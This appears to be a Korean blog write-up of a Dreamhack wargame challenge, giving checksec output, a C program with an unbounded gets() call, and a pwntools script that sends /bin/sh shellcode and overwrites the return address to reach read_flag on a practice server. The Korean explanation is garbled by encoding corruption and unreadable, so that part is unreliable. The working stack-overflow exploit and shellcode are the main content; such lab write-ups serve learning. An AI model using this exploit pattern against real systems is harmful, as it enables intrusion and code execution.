1. Environment
Ubuntu 16.04
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
2. Code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
3. Write Up
์ฝ๋๋ฅผ ๋ณด๋ฉด read_flag ์ฃผ์๋ฅผ ํธ์ถํด์ system call์ ํ๋ ๊ฒ์ด ๋ชฉ์ ์ธ ๋ฏ ๋ณด์ธ๋ค.
์ฌ๊ธฐ์๋ gets ํจ์๋ก buf๋ฅผ ์ฝ๋๋ฐ ๋ฐ์ดํธ ์ ํ์ ๋์ง ์๊ธฐ ๋๋ฌธ์ BoF ๊ฐ ๋ฐ์ํ๊ฒ ๋๋ค.
- buf์ ๋๋ฏธ๊ฐ ์ ๋ ฅํ๊ธฐ
- ret ์ read_flag ํธ์ถ ์ฃผ์ ์ ๋ ฅํ๊ธฐ
(000 ๋ฌธ์ ๋ ์์๊ฐ ๋ฐ๋ ๊ฑฐ ๊ฐ์..)
gdb๋ฅผ ์ด์ฉํด์ read_flag ์ฃผ์๋ง ์์๋ด๊ณ ๋๋ฏธ๊ฐ + ret(read_flag)๋ง ์ ๋ ฅํ๋ฉด ๋ฐ๋ก ํ๋๊ทธ ์ถ๋ ฅ
์์ฝ๋๋ ํ์์๊ณ ์ฝ๋๋ฅผ ๋ณด๋ฉด read_flag ์ฃผ์๋ฅผ ํธ์ถํด์ system call์ ํ๋ ๊ฒ์ด ๋ชฉ์ ์ธ ๋ฏ ๋ณด์ธ๋ค.
* Exploit Code
from pwn import *
p = remote("host3.dreamhack.games", 9228)
shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
#26๋ฐ์ดํธ
#p.recvuntil("(")
#buf_add = int(p.recv(10), 16)
ret_add = 0x080485b9
payload = shellcode + b'\x41' * 106 + p32(ret_add)
p.sendline(payload)
p.interactive()
'Wargame > Dreamhack' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Pwnable] Return Address Overwrite (0) | 2023.02.16 |
---|---|
[Pwnable] Basic_exploitation_003 (0) | 2023.02.16 |
[Pwnable] shell_basic (0) | 2023.02.16 |
[Pwnable] Basic_exploitation_000 (0) | 2023.02.16 |
[Pwnable] Welcome (0) | 2023.02.16 |